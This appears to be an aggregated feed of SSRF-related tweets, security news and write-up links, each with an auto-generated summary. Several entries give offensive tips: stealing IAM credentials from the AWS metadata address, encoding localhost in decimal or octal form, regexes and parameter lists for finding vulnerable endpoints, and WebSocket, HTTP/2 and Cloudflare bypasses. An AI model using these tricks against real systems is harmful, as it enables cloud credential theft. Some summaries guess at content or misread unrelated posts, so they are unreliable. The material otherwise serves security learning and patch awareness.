| 2025-01-16 2025 | Critical #SSRF via AWS IMDSv1: If you can hit 169.254.169.254 you might grab IAM creds & own the cloud infrastructure. Always enforce IMDSv2 with required HTTP PUT header token! #CloudSecurity #AWS #AWSecurity intermediate | The content warns about a critical Server-Side Request Forgery (SSRF) vulnerability via AWS IMDSv1, allowing attackers to access IAM credentials and compromise cloud infrastructure by targeting 169.254.169.254. To mitigate this risk, it is advised to enforce IMDSv2 with a required HTTP PUT header token. This emphasizes the importance of implementing proper security measures, especially in cloud environments like AWS, to prevent unauthorized access and protect sensitive information. #CloudSecurity #AWS #AWSecurity. |
| 2025-01-16 2025 | Veeam Azure Backup Vulnerability Allows Attackers to Utilize SSRF & Send Unauthorized Requests news 2 min read | Writeup of CVE-2025-23082, a critical Server-Side Request Forgery (SSRF) vulnerability in Veeam Backup for Microsoft Azure affecting versions up to 7.1.0.22. This flaw allows attackers to send unauthorized requests from the system, potentially leading to network enumeration and further attacks. Veeam has released an updated build, version 7.1.0.59 or later, to address this high-severity issue. → gbhackers.com |
| 2025-01-16 2025 | Understanding #SSRF defense in depth: Input validation isn't enough! Implement allowlists DNS resolution controls egress filtering and disable unused URL schemas. Remember: 302 redirects can bypass simple hostname checks. #AppSec #SecurityEngineering intermediate | The content emphasizes the importance of a comprehensive defense strategy against Server-Side Request Forgery (SSRF). It highlights that relying solely on input validation is insufficient. Suggestions include implementing allowlists, DNS resolution controls, egress filtering, and disabling unused URL schemas to enhance security. Additionally, it warns that 302 redirects can circumvent basic hostname checks. The post underscores the significance of a multi-layered approach to SSRF defense to bolster application security. |
| 2025-01-16 2025 | Pro tip: When testing for #SSRF don't just try localhost/127.0.0.1. Remember IPv6 (::1) decimal notation (2130706433) octal format (0177.0.0.1) and domain shortcuts (127.1). Cloud metadata endpoints are gold! #HackingTips #CloudSecurity intermediate | The content provides a tip for testing Server-Side Request Forgery (SSRF) vulnerabilities by exploring various formats beyond localhost/127.0.0.1, including IPv6 (::1), decimal notation (2130706433), octal format (0177.0.0.1), and domain shortcuts (127.1). It emphasizes the importance of considering cloud metadata endpoints for potential exploitation. The post also includes hashtags related to hacking tips and cloud security. |
| 2025-01-15 2025 | Blind #SSRF vulnerabilities can be detected by monitoring response times & using out-of-band techniques like DNS/HTTP callbacks. Set up a Burp Collaborator or interactsh server to catch those internal network calls. #InfoSec #BugBounty #WebSecurity intermediate | Blind SSRF vulnerabilities can be identified by monitoring response times and utilizing out-of-band techniques like DNS/HTTP callbacks. Setting up a Burp Collaborator or interactsh server can help capture internal network calls. This approach enhances information security, aids in bug bounty programs, and strengthens web security measures. |
| 2025-01-15 2025 | Our October webinar, "Find & Fix: How Common Code Flaws Let Hackers In, &How You Keep Them Out" is now available on-demand! beginner | The October webinar titled "Find & Fix: How Common Code Flaws Let Hackers In, & How You Keep Them Out" is now available on-demand. The webinar focuses on cybersecurity, web application security, SSRF, AppSec, code flaws, vulnerability management, and security testing. It provides insights on identifying and addressing common code vulnerabilities to enhance security measures. The webinar aims to educate viewers on preventing hackers from exploiting code flaws. Viewers can access the webinar at the provided link. #Cybersecurity #Webinar #SecurityTesting #CodeFlaws #VulnerabilityManagement |
| 2025-01-15 2025 | Looking for ways to escalate: Potential for internal resource access or DNS exfiltration? Any creative payload ideas or exploitation techniques? DM or reply with insights! #BugBounty #SSRF #Infosec #EthicalHacking 2/N intermediate | The content is seeking ways to escalate by exploring potential for internal resource access or DNS exfiltration. It asks for creative payload ideas or exploitation techniques related to Bug Bounty, SSRF, Infosec, and Ethical Hacking. The invitation is to share insights via direct message or reply. The focus is on finding vulnerabilities and enhancing security measures. |
| 2025-01-12 2025 | Quick and dirty way to find parameters vulnerable to LFI & Path Traversal & SSRF & Open Redirect: Burp Search Regex \?.=(\/\/?\w|\w\/|\w(%3A|:)(\/|%2F)|%2F|[\.\w]\.\w{24}[\w]) And find potentially vulnerable SSRF params - https://t.co/6cfBPVn0FM #SSRF #cybersec https://t.co/ipnHHHaID4 intermediate | The content discusses a method using Burp Search Regex to identify parameters vulnerable to LFI, Path Traversal, SSRF, and Open Redirect. The provided regex pattern helps in finding potentially vulnerable SSRF parameters. The focus is on cybersecurity, specifically SSRF vulnerabilities. The content includes a link for further reference. |
| 2025-01-09 2025 | Automated SSRF Detection! #BugBounty #SSRF #Regex #bugbountytips #burpsuite Prepare for success: 1 Use a DNS log platform (e.g. Burp Collaborator or https://t.co/UiHRbhDCC8). 2 Ready these regex patterns: intermediate | The content discusses automated SSRF detection for bug bounty programs, emphasizing the use of a DNS log platform like Burp Collaborator and specific regex patterns. It suggests preparing for success by utilizing these tools and resources to enhance SSRF vulnerability detection. The post also includes relevant hashtags and a link to regex patterns for reference. |
| 2025-01-08 2025 | 403 Bypass list by @jhaddix Url Manipulation Methods Top 77 ways to bypass access control #bugbountytip #bugbountytips #ethicalhacking #CyberSecurity #Pentesting #sqli #xss #CyberSecurityAwareness #bugbounty #ssrf #AEM https://t.co/WWzARH89rF intermediate | The content discusses a list of 77 URL manipulation methods to bypass access control, shared by @jhaddix. It is related to bug bounty tips, ethical hacking, cybersecurity, pentesting, SQL injection (SQLi), cross-site scripting (XSS), cybersecurity awareness, server-side request forgery (SSRF), and Adobe Experience Manager (AEM). The link provided leads to more detailed information on these methods. |
| 2025-01-08 2025 | 🎯 **Find SSRF Bypass, Cloudflare & AWS Metadata!** intermediate | The content discusses finding Server-Side Request Forgery (SSRF) bypass methods, accessing Cloudflare and AWS metadata. The author, AnonTriager, shares insights on cybersecurity, bug bounty hunting, and provides additional tips. The content includes links for further reading. Key topics covered are SSRF, Cloudflare, AWS, cybersecurity, and bug bounty programs. |
| 2025-01-06 2025 | Step 5: Test SSRF Surf: surf -l ssrf.txt -t 10 -c 200 SSRF Finder: cat ssrf.txt intermediate | Step 5 involves testing SSRF Surf using the command "surf -l ssrf.txt -t 10 -c 200" and checking the results with "SSRF Finder: cat ssrf.txt". This step is part of a process to identify and address Server-Side Request Forgery (SSRF) vulnerabilities. The provided link may contain additional information related to this process. |
| 2025-01-06 2025 | Escalating HTML to SSRF Check out how HTML injection leads to SSRF. Fast testing = HOF in 5 minutes! Learn more: https://t.co/1vrLROS3zh Written by cyber_catz. #BugBounty #Infosec #CyberSecurity #SSRF #Hacking intermediate | The content discusses escalating HTML injection to Server-Side Request Forgery (SSRF) and how it can be tested quickly for potential vulnerabilities. The article is written by cyber_catz and provides a link for further information. It highlights the connection between HTML injection and SSRF, emphasizing the importance of fast testing. The post is relevant to Bug Bounty, Infosec, Cybersecurity, SSRF, and Hacking. |
| 2025-01-05 2025 | SSRF beginner | The content is about Server-Side Request Forgery (SSRF) in web hacking and penetration testing. It includes a video link for more information on SSRF and related topics like web fundamentals, cybersecurity, ethical hacking, and bug bounty tips. The content is in Tamil and is part of a tutorial series on TryHackMe, covering web application security, penetration testing, and CTF challenges. The link provided directs to additional resources on SSRF and its implications in information security and web application security testing. |
| 2025-01-04 2025 | Vulnerabilidades XXE (XML eXternal Entity injection) y contramedidas beginner | The content discusses XXE (XML eXternal Entity) injection vulnerabilities and countermeasures. It highlights the importance of protecting against XML external entity injections to prevent security breaches. The post likely provides insights into how these vulnerabilities can be exploited and offers strategies or tools to mitigate the risks associated with XXE attacks. It also mentions the relevance of SSRF (Server-Side Request Forgery) in this context. |
| 2025-01-03 2025 | What is an SSRF attack...and why do we care? 🤔 beginner | The content discusses SSRF attacks, explaining what they are, how to identify them, and the importance of trust relationships in preventing them. It provides a video link for further details on SSRF attacks, vulnerability, secure coding, and application security. The focus is on understanding SSRF attacks and their significance in maintaining secure systems. |
| 2025-01-02 2025 | Invoice Ninja suffers from a Server-Side Request Forgery flaw news | Invoice Ninja has been identified as having a Server-Side Request Forgery vulnerability. This flaw could potentially allow attackers to manipulate server requests, leading to unauthorized access or data leakage. It is crucial for users of Invoice Ninja to be aware of this security issue and take necessary precautions to mitigate the risk of exploitation. |
| 2025-01-01 2025 | Server-Side Request Forgery - Simple Illustration beginner | The content discusses Server-Side Request Forgery (SSRF) through a simple illustration. It is shared by @hackhunting and includes hashtags like #ssrf, #bugbountytips, and #webapplicationsecurity. The post likely provides insights or tips related to identifying and addressing SSRF vulnerabilities in web applications. |
| 2024-12-31 2024 | GitHub - hackerassociate/SSRF-Hacks-IP-Decimal: A Burp Suite extension that converts IP addresses to decimal notation, useful for SSRF bypass and WAF evasion testing. Created by Harshad Shah. intermediate 1 min read Burp | Extension that automatically converts IPv4 addresses to decimal notation, integrated into Burp Suite's context menu. This tool aids security professionals in bypassing Web Application Firewalls (WAFs) and testing Server-Side Request Forgery (SSRF) vulnerabilities by replacing standard IP formats with their decimal equivalents, logging all conversions in real-time. |
| 2024-12-30 2024 | Exploring vulnerabilities? This Cloud Metadata Dictionary by is a must-have! intermediate | The Cloud Metadata Dictionary by @Jhaddix is recommended for exploring SSRF vulnerabilities and testing metadata services in cloud environments. It is considered a valuable resource for cybersecurity professionals and bug bounty hunters. The dictionary can aid in identifying and addressing security issues related to cloud metadata services. The post emphasizes the importance of this tool in enhancing cybersecurity practices and staying vigilant against potential vulnerabilities. |
| 2024-12-29 2024 | How to find SSRF, Bypass Cloudflare, and extract AWS metadata intermediate Bug Bounty | I was working on a program and since I have no permission to disclose the name of the target, let’s call it redacted.com. |
| 2024-12-26 2024 | :) beginner | The content consists of a link and a hashtag related to SSRF (Server-Side Request Forgery). The link provided may lead to more information about SSRF. The use of the smiley face emoticon in the title and the hashtag suggests a positive or light-hearted tone. The content also includes a shortened link that redirects to an external source, possibly for further reading or resources on SSRF. |
| 2024-12-16 2024 | socalledhacker: Read SSRF: Blacklist and Whitelist-Based Input Filters by Neetrox on Medium: #bugbountytips #bugbounty #bugbountytip #bughunting #hacking #SSRF #infosec #cybersecurity #security intermediate | The content is a tweet promoting an article on Medium titled "SSRF: Blacklist and Whitelist-Based Input Filters" by Neetrox. The article likely discusses strategies for preventing Server-Side Request Forgery (SSRF) attacks using input filters. The tweet includes hashtags related to bug bounty tips, hacking, cybersecurity, and security. The tweet is shared by the user socalledhacker. |
| 2024-12-16 2024 | socalledhacker: Don't want to use Burpsuite collaborator for SSRF hunting... Check this out an amazing replacement of collaborator:- #bugbounty #bug #bugbountytip #bugbountytips @cybersecurity #infosec #SSRF intermediate | The content shared by socalledhacker discusses an alternative to using Burpsuite collaborator for SSRF hunting. The post highlights a replacement tool and encourages users to explore it. The hashtags used indicate the focus on bug bounty, cybersecurity, infosec, and SSRF. The post is shared on Twitter by socalledhacker. |
| 2024-12-14 2024 | ImShaadab: Just wrapped up the SSRF room on @RealTryHackMe! Turns out servers will believe anything you tell them if you phrase it right Always validate your inputs folks! #TryHackMe #SSRF #CyberSecurity beginner | ImShaadab completed the SSRF room on TryHackMe, highlighting that servers can be tricked if inputs are not validated properly. The importance of validating inputs in cybersecurity is emphasized. #TryHackMe #SSRF #CyberSecurity |
| 2024-12-13 2024 | @st3am3dric31: Wrote a beginners guide to testing a web app for Server Side Request Forgery vulnerabilities #ssrf #webhacking #bugbounty #oswa beginner | @st3am3dric31 shared a beginner's guide on testing web apps for Server Side Request Forgery (SSRF) vulnerabilities. The guide focuses on #ssrf, #webhacking, #bugbounty, and #oswa. It can be found on Twitter at the provided link. |
| 2024-12-11 2024 | omvapt: #SAP fixed critical #SSRF #Vulnerabilities #flaw in #NetWeavers #Adobe_Document Services news | SAP addressed critical SSRF vulnerabilities in NetWeaver's Adobe Document Services, as reported by omvapt on Twitter. The flaws were fixed to enhance security and prevent potential exploitation. |
| 2024-12-10 2024 | SAP fixed critical SSRF flaw in NetWeaver NetWeaver news 1 min read | Analysis of SAP's December 2024 Security Patch Day, addressing 16 vulnerabilities including critical SSRF (CVE-2024-47578) in NetWeaver's Adobe Document Service, which allows file manipulation or system unavailability. Other fixed issues include CVE-2024-47579, CVE-2024-47580, XSS (CVE-2024-47590) in Web Dispatcher, and RFC Information Disclosure (CVE-2024-54198) in SAP NetWeaver Application Server ABAP. → securityaffairs.com |
| 2024-12-10 2024 | SAP Patches Critical Vulnerability in NetWeaver news 2 min read | Writeup detailing SAP's December 2024 Security Patch Day, which includes nine new and four updated security notes. A critical Server-Side Request Forgery (SSRF) vulnerability, CVE-2024-47578, in NetWeaver AS for JAVA (Adobe Document Services) allows for full system compromise. Medium-severity flaws CVE-2024-47579 and CVE-2024-47580 permit file reading. Additionally, CVE-2024-54198, an authenticated information disclosure bug in NetWeaver, can be exploited via manipulated Remote Function Call (RFC) requests to gain sensitive credentials. Other addressed vulnerabilities include SSRF, XSS, and NULL pointer dereference. → securityweek.com |
| 2024-12-10 2024 | JayateerthaG: [New Blog Alert - ] #bugbounty #bugbountytips #hackers #blog #ssrf #lfi #vulnerability #zoho #jayateerthag #infosec #security intermediate | JayateerthaG has a new blog post alert related to bug bounty tips, hackers, SSRF, LFI, Zoho, infosec, and security. The tweet provides a link to the blog post. |
| 2024-12-08 2024 | @DanaEpp: Check out this article to learn how to find and exploit server-side request forgery (SSRF) vulnerabilities in an API. #apihacking #ssrf intermediate | The content shared by @DanaEpp on Twitter highlights an article focusing on identifying and exploiting server-side request forgery (SSRF) vulnerabilities within an API. The post encourages readers to explore the article for insights into API hacking and SSRF. The link provided directs users to the source for further information on this topic. |
| 2024-12-08 2024 | @pentesttesting: I just published Server-Side Request Forgery (SSRF) in Laravel: Understanding and Mitigation #LaravelSecurity #CyberSecurity #WebSecurity #SSRF #LaravelTips #PenetrationTesting #VulnerabilityAssessment #WebsiteSecurity #EthicalHacking #CyberAwareness intermediate | The content shared on Twitter discusses Server-Side Request Forgery (SSRF) in Laravel, focusing on understanding and mitigation strategies. It touches on topics like Laravel security, cybersecurity, web security, SSRF, penetration testing, vulnerability assessment, website security, ethical hacking, and cyber awareness. The link provided likely leads to a detailed article or guide on SSRF in Laravel. |
| 2024-12-06 2024 | @KahuLabs_: Case Study Alert! Our team at Kahu Labs recently uncovered a critical SSRF vulnerability that escalated into XSS in a clients web app. This flaw bypassed WAF protections allowing malicious SVG files to be loaded and executed. Heres how it happened #CyberSecurity #SSRF advanced | Kahu Labs discovered a serious SSRF vulnerability that led to XSS in a client's web app, bypassing WAF protections. Malicious SVG files could be loaded and executed. The case study highlights the vulnerability escalation and the impact on cybersecurity. #CyberSecurity #SSRF. |
| 2024-12-05 2024 | ReneRobichaud: ChatGPT Next Web Vulnerability Let Attackers Exploit Endpoint to Perform SSRF #Infosec #Security #Cybersecurity #CeptBiro #ChatGPT #NextWeb #Vulnerability #Exploit #Endpoint #SSRF news | The content discusses a vulnerability in ChatGPT Next Web discovered by ReneRobichaud, allowing attackers to exploit endpoints for Server-Side Request Forgery (SSRF). The post highlights the importance of cybersecurity and provides hashtags related to information security. The vulnerability could potentially be used by attackers to manipulate the endpoint and perform SSRF attacks. The link provided leads to a tweet by ReneRobichaud discussing this issue. |
| 2024-12-05 2024 | CeptBiro: ChatGPT Next Web Vulnerability Let Attackers Exploit Endpoint to Perform SSRF #Infosec #Security #Cybersecurity #CeptBiro #ChatGPT #NextWeb #Vulnerability #Exploit #Endpoint #SSRF news | The content discusses a vulnerability in ChatGPT Next Web, allowing attackers to exploit endpoints for Server-Side Request Forgery (SSRF). CeptBiro shared this information on Twitter, emphasizing the importance of cybersecurity and the need to address this vulnerability to prevent potential attacks. The post includes relevant hashtags such as #Infosec, #Security, and #Cybersecurity to raise awareness about the issue. |
| 2024-12-05 2024 | ChatGPT Next Web vulnerability Let Attackers exploit endpoint to Perform SSRF intermediate 2 min read | Writeup of CVE-2023-49785 impacting ChatGPT Next Web (NextChat) versions 2.11.2 and earlier. This critical Server-Side Request Forgery (SSRF) vulnerability exists in the client settings synchronization API endpoint, improperly secured and accessible to unauthenticated users. Attackers can exploit this to send malicious requests to internal services, potentially leading to unauthorized access, data theft, and compromise of cloud environments. Updating to version 2.12.2 or later is recommended. → gbhackers.com |
| 2024-12-02 2024 | CWISociety: New #CWISmemberresearch by #CWISmember Dr Hon Lok (David) Lo team regarding minimally invasive #SSRF techniques! Read more below: advanced | Dr. Hon Lok (David) Lo and his team, members of CWISociety, have conducted new research on minimally invasive SSRF techniques. The details of their research can be found on the CWISociety Twitter page. |
| 2024-11-29 2024 | iototsecnews: Wget の脆弱性 CVE-2024-10524 が FIX短縮 URL による SSRF 攻撃の可能性 #GNU #JFrog #OpenSource #SSRF #Vulnerability #wget news | The content discusses a vulnerability (CVE-2024-10524) in Wget that could lead to SSRF attacks via shortened URLs. The post highlights the potential risk and mentions relevant hashtags like #GNU, #JFrog, #OpenSource, #SSRF, #Vulnerability, and #wget. The source of the information is a tweet from iototsecnews. |
| 2024-11-28 2024 | salecharohit: Enhance AWS security by enforcing IMDSv2 with Open Policy Agent (OPA) in Terraform! Protect your instance metadata and reduce unauthorized access risks through #SSRF Learn more: #AWS #OpenPolicyAgent #CloudSecurity #IMDSv2 intermediate | The content discusses enhancing AWS security by enforcing IMDSv2 with Open Policy Agent (OPA) in Terraform to protect instance metadata and reduce unauthorized access risks, particularly against Server-Side Request Forgery (SSRF) attacks. The post encourages learning more about this security measure through the provided link. The focus is on utilizing IMDSv2, OPA, and Terraform to bolster AWS security and safeguard against potential vulnerabilities. The hashtags used include #AWS, #OpenPolicyAgent, #CloudSecurity, and #IMDSv2. |
| 2024-11-27 2024 | InfoSecComm: New Writeup Alert! "SSRF To Internal Data Access Via PDF Print Feature" by Bishal Shrestha is now live on IW! Check it out here: #ssrf #bugbounty #informationsecurity intermediate | A new writeup titled "SSRF To Internal Data Access Via PDF Print Feature" by Bishal Shrestha is now available on InfoSecComm. The content discusses a security vulnerability related to SSRF that allows access to internal data through the PDF print feature. The post is live on IW and can be viewed using the provided link. It covers topics related to #ssrf, #bugbounty, and #informationsecurity. |
| 2024-11-26 2024 | @bishal0x01: My first-ever SSRF report to Internal Data Access. Feel free to share any feedback! Thanks to @dhungana_bibek7 @tnirmalz for proofreading! #bugbounty #ssrf intermediate | The content is a tweet by user @bishal0x01 sharing their first SSRF report on Internal Data Access. They invite feedback and credit @dhungana_bibek7 and @tnirmalz for proofreading. The tweet includes hashtags #bugbounty and #ssrf. The tweet can be found at https://twitter.com/bishal0x01/status/1861088498033275039. |
| 2024-11-24 2024 | @puntopcap: Vulnerabilidad SSRF (Server Side Request Forgery) OWASP API7:2023 - Un peligro creciente para las APIs #SSRF #Ciberseguridad #OWASP #APISecurity #SeguridadEnAPIs beginner | The content discusses the vulnerability SSRF (Server Side Request Forgery) as outlined in OWASP API7:2023, highlighting it as a growing danger for APIs. The tweet emphasizes the importance of addressing this security risk in the context of API security and cybersecurity. The link provided leads to further information on the topic. |
| 2024-11-20 2024 | VulnVanguard: The Wget Gambit: CVE-2024-10524 allows SSRF attacks via shorthand URLs exposing internal servers & data. Patch Wget to 1.25.0 sanitize inputs & avoid shorthand URLs. Dont let Wget become a backdooract now! #Cybersecurity #Wget #SSRF #PatchNow news | The content warns about CVE-2024-10524 enabling SSRF attacks through shorthand URLs, risking internal server exposure. It advises patching Wget to version 1.25.0, sanitizing inputs, and avoiding shorthand URLs to prevent exploitation. Urging immediate action to prevent Wget from becoming a backdoor, the message emphasizes cybersecurity awareness and the importance of patching vulnerabilities promptly. #Cybersecurity #Wget #SSRF #PatchNow. |
| 2024-11-19 2024 | @JFrogSecurity: New 0-Day #CVE in GNU Wget Found: Our team uncovered CVE-2024-10524 a vulnerability that enables phishing #SSRF and #MiTM attacks by exploiting Wget's shorthand URL handling. Patch it now with Wget 1.25.0! Learn more: news | A new 0-Day CVE-2024-10524 in GNU Wget has been discovered by @JFrogSecurity, enabling phishing, SSRF, and MiTM attacks through URL handling. The vulnerability can be patched with Wget 1.25.0. For more information, visit https://twitter.com/JFrogSecurity/status/1858942224647455107. |
| 2024-11-19 2024 | Joyerz5: Just Discovered a Cool SSRF!! Now working to make it Impactful!! Any tips guys? How I Found it? On the Image Upload features there was fetch image from URL guess what? Yes I put burp collaborator Link there and got HTTP DNS response back! It is confirm now! #ssrf #bugbounty intermediate | The content describes a cybersecurity enthusiast, Joyerz5, who discovered a Server-Side Request Forgery (SSRF) vulnerability while testing an image upload feature. By inserting a Burp Collaborator link, they received an HTTP DNS response, confirming the SSRF. Joyerz5 is now seeking tips to maximize the impact of this finding, indicating involvement in bug bounty programs. The post highlights the importance of identifying and exploiting vulnerabilities like SSRF for security testing and rewards. |
| 2024-11-19 2024 | CCBalert: Warning: Critical vulnerability in #Wget. #CVE-2024-10524 CVSS: 9.8. This #0-day vulnerability could lead to phishing server-side request forgery (#SSRF) and man-in-the-middle (#MiTM) attacks. #Patch #Patch #Patch news | A critical vulnerability (#CVE-2024-10524) in #Wget with a CVSS score of 9.8 has been identified, posing risks of phishing, server-side request forgery (#SSRF), and man-in-the-middle (#MiTM) attacks. This #0-day vulnerability requires immediate patching to prevent exploitation. The alert emphasizes the urgency of applying patches to mitigate potential security threats. |
| 2024-11-18 2024 | JFrogSecurity: Critical 0-Day in GNU Wget Found: Our team uncovered #CVE-2024-10524 a vulnerability that enables phishing #SSRF and #MiTM attacks by exploiting Wget's shorthand URL handling. Patch it now with Wget 1.25.0! Learn more: news | A critical 0-Day vulnerability, CVE-2024-10524, was discovered in GNU Wget by JFrogSecurity. This flaw allows for phishing, SSRF, and MiTM attacks through exploiting Wget's URL handling. The recommended action is to patch it immediately with Wget 1.25.0. Further details can be found on JFrogSecurity's Twitter page. |
| 2024-11-18 2024 | InfoSecComm: New Writeup Alert! "SSRF to Internal Port Scanning on Self-Hosted Platform " by JEETPAL is now live on IW! Check it out here: #ssrf #bugbountytips #bugbounty #bugbountywriteup #cybersecurity intermediate | A new writeup titled "SSRF to Internal Port Scanning on Self-Hosted Platform" by JEETPAL has been published on InfoSecComm. The writeup focuses on SSRF vulnerability and internal port scanning. It is available on IW and covers bug bounty tips and cybersecurity. The content can be found on the provided link. #ssrf #bugbountytips #bugbounty #bugbountywriteup #cybersecurity. |
| 2024-11-17 2024 | ProwlSec: SSRF Unleashed How to find and where to find: #BugBounty #bugbountytip #hackers #Pentesting #SSRF #Hacking #HUNTER #Anonymous #Tips #CyberSecurity beginner | The content discusses ProwlSec's release on SSRF exploitation, providing guidance on how and where to find SSRF vulnerabilities. It emphasizes bug bounty tips, hacking, penetration testing, and cybersecurity. The information is shared on Twitter by ProwlSec. |
| 2024-11-11 2024 | bugvsecurity: Unveiling the Dangers of SSRF Attacks! Did you know that a single SSRF vulnerability can allow attackers to gain unauthorized access to your internal network and cloud resources? Read now to stay ahead of cyber threats #CyberSecurity #SSRF beginner | The content discusses the dangers of Server-Side Request Forgery (SSRF) attacks, highlighting how a single vulnerability can grant unauthorized access to internal networks and cloud resources. It emphasizes the importance of staying informed about cybersecurity threats. The post encourages readers to read further to enhance their understanding and readiness to combat such cyber threats. #CyberSecurity #SSRF. |
| 2024-11-09 2024 | InfosecMonk: Top 25 #SSRF parameters ?dest={target} ?redirect={target} ?uri={target} ?path={target} ?continue={target} ?url={target} ?window={target} ?next={target} ?data={target} ?reference={target} ?site={target} intermediate | The content discusses the top 25 Server-Side Request Forgery (SSRF) parameters, including examples like ?dest={target}, ?redirect={target}, and ?url={target}. These parameters can be exploited by attackers for SSRF attacks. The list provides insight into common parameters that may be vulnerable to such attacks. The information is shared by InfosecMonk on Twitter. |
| 2024-11-07 2024 | @inj3ct0r: #0day #SmartAgent 1.1.0 Server-Side Request Forgery #Vulnerability #SSRF news | The content highlights a Server-Side Request Forgery vulnerability in SmartAgent 1.1.0, tagged as a zero-day exploit. The vulnerability allows attackers to manipulate server requests, potentially leading to unauthorized access or data leakage. The information was shared on Twitter by the user @inj3ct0r. |
| 2024-11-05 2024 | Peet28385834: Server-Side Request Forgery in Qualitor (SSRF) | Bugbounty PoC #bugbounty #bugbountytips #ssrf #qualitor #tips #hackerone intermediate | The content discusses a Server-Side Request Forgery (SSRF) vulnerability found in Qualitor, shared as a Bug Bounty Proof of Concept (PoC) by Peet28385834. The post includes relevant hashtags such as #bugbounty, #ssrf, #qualitor, and #hackerone, indicating it is related to bug bounty programs and security testing. The link provided leads to a tweet by Peet28385834 discussing the SSRF vulnerability in Qualitor. |
| 2024-11-04 2024 | @raahul06: Server-Side Request Forgery (SSRF): SSRF vulnerabilities let attackers trick the server into making unauthorized requests to internal resources potentially exposing sensitive data. Implement input validation and strict access controls to prevent this! #SSRF #OWASP #WebSec beginner | The content warns about Server-Side Request Forgery (SSRF) vulnerabilities that allow attackers to manipulate servers into making unauthorized requests to internal resources, risking sensitive data exposure. It advises implementing input validation and strict access controls to mitigate this risk. The message emphasizes the importance of security measures to prevent SSRF attacks in web applications. |
| 2024-11-03 2024 | s41r4j: Server-Side Request Forgery (#SSRF): - #Enumerate internal #networks including IP addresses and ports - Abuse trust relationships between #servers and gain access to otherwise restricted services - Interact with some non-HTTP services to get remote code execution (#RCE) intermediate | The content discusses Server-Side Request Forgery (#SSRF), highlighting its capabilities: - Enumerating internal networks, IP addresses, and ports - Abusing trust relationships between servers to access restricted services - Interacting with non-HTTP services for remote code execution (#RCE). The information is shared via a tweet by s41r4j. |
| 2024-10-31 2024 | s41r4j: #BugBounty vulnerabilities - for beginners: - #XSS - #SQL #injection - #CSRF - #SSRF - #IDOR - Information Disclosure - Directory Transversal - Open Redirect - Web Cache Poisoning beginner | The content discusses various Bug Bounty vulnerabilities for beginners, including XSS, SQL injection, CSRF, SSRF, IDOR, Information Disclosure, Directory Traversal, Open Redirect, and Web Cache Poisoning. The information is shared by s41r4j on Twitter. |
| 2024-10-30 2024 | @CWISociety: Its always a good day to hear about #CWIS #SSRF guidelines from Past Prez @zmbauman. Thanks to #CAMIT for the opportunity! #cwismember beginner | The content highlights a tweet from @CWISociety expressing appreciation for learning about #CWIS #SSRF guidelines from Past President @zmbauman, thanking #CAMIT for the opportunity. The tweet emphasizes the importance of staying informed and connected within the CWIS community. |
| 2024-10-28 2024 | @howdocomputer: Unauth #SSRF & #XSS on news | The content mentions the discovery of unauthorized Server-Side Request Forgery (SSRF) and Cross-Site Scripting (XSS) vulnerabilities. These vulnerabilities can potentially allow attackers to manipulate server requests and inject malicious scripts into a website. It is crucial for website owners to address and patch these vulnerabilities to prevent exploitation by malicious actors. |
| 2024-10-28 2024 | @KonwarAbhi98099: Blind SSRF on a Hackerone Program Credit: #$ubh@nk@r #ssrf intermediate | The content mentions a Twitter post by user @KonwarAbhi98099 about discovering a Blind Server-Side Request Forgery (SSRF) vulnerability in a Hackerone program. The post credits the discovery to user #$ubh@nk@r. The specific details or implications of the vulnerability are not provided in the summary. |
| 2024-10-27 2024 | nmkannans: Common SSRF misconceptions during the interviews - OWASP top 10 #SSRF #bugbountytip #bugbountytips #CyberSecurity beginner | The content discusses common misconceptions about Server-Side Request Forgery (SSRF) during interviews, referencing OWASP top 10. It touches on SSRF-related topics such as bug bounty tips and cybersecurity. The Twitter post by user nmkannans highlights the importance of understanding and addressing SSRF vulnerabilities in the context of cybersecurity. |
| 2024-10-23 2024 | DanaEpp: Check out this article to learn how to find and exploit server-side request forgery (SSRF) vulnerabilities in an API. #apihacking #ssrf intermediate | The content shared by DanaEpp focuses on learning how to identify and exploit server-side request forgery (SSRF) vulnerabilities in an API. The tweet encourages checking out an article for insights into API hacking and SSRF. DanaEpp provides a link to the article for further information on this topic. The post is tagged with #apihacking and #ssrf to highlight the relevance of the content. |
| 2024-10-22 2024 | @davidwillisowen: Huntr is a bug bounty platform designed specifically for AI/ML libraries The top 3 bugs that keep cropping up are LFI RCE and SSRF #hacking #bugbounty #ssrf news | Huntr is a bug bounty platform for AI/ML libraries. The top recurring bugs are LFI, RCE, and SSRF. This information was shared on Twitter by @davidwillisowen. #hacking #bugbounty #ssrf |
| 2024-10-22 2024 | iototsecnews: Plane プロジェクト管理ツールの脆弱性 CVE-2024-47830 が FIXCVSS 値 9.3 の SSRF #OpenSource #Plane #ProjectManagement #SSRF #Vulnerability news | The content discusses a vulnerability (CVE-2024-47830) in the Plane project management tool with a FIXCVSS score of 9.3 due to SSRF. The post highlights the vulnerability in the open-source project management tool and includes relevant hashtags like #OpenSource, #Plane, #ProjectManagement, #SSRF, and #Vulnerability. |
| 2024-10-21 2024 | @grumpzsux: Advanced SSRF via HTTP/2 Frames: Exploit HTTP/2 frame multiplexing to send SSRF payloads to internal services that are otherwise protected. Target servers misconfigured with H2C (HTTP/2 Cleartext) support. #SSRF #HTTP2Exploits #BugBounty advanced | The content discusses exploiting HTTP/2 frame multiplexing for advanced SSRF attacks, targeting servers misconfigured with H2C support. This method allows sending SSRF payloads to internal services that are usually protected. The post highlights the potential vulnerability and encourages awareness of SSRF, HTTP/2 exploits, and bug bounty programs. The information is shared on Twitter by the user @grumpzsux. |
| 2024-10-21 2024 | grumpzsux: Abusing WebSockets for SSRF: Use WebSocket connections to exploit poorly validated Origin headers. Use this to bypass SSRF protections or access internal services behind firewalls. #WebSocketExploitation #SSRF #BugBounty intermediate | The content discusses exploiting WebSockets for SSRF by manipulating poorly validated Origin headers. This can be used to bypass SSRF protections and access internal services behind firewalls. The post highlights the potential security risks and encourages bug bounty hunters to explore WebSocket exploitation for vulnerabilities. The Twitter link provides more details on this topic. #WebSocketExploitation #SSRF #BugBounty. |
| 2024-10-17 2024 | Exfiltrated, Signed, Delivered – What Can Go Wrong When an Amazon Elastic Compute Cloud (EC2) Instance is Exposed to SSRF intermediate 7 min read | Tool embedded in CNAPPgoat demonstrates how Server-Side Request Forgery (SSRF) exposure on an Amazon EC2 instance can be weaponized with exfiltrated credentials to trigger AWS service calls, bypassing standard detection methods. This technique, leveraging tools like Stephen Bradshaw's `aws_url_signer`, allows attackers to generate signed URLs that appear legitimate to the instance, making it crucial for customers to secure deployed applications and prevent SSRF vulnerabilities as part of their shared responsibility. → tenable.com |
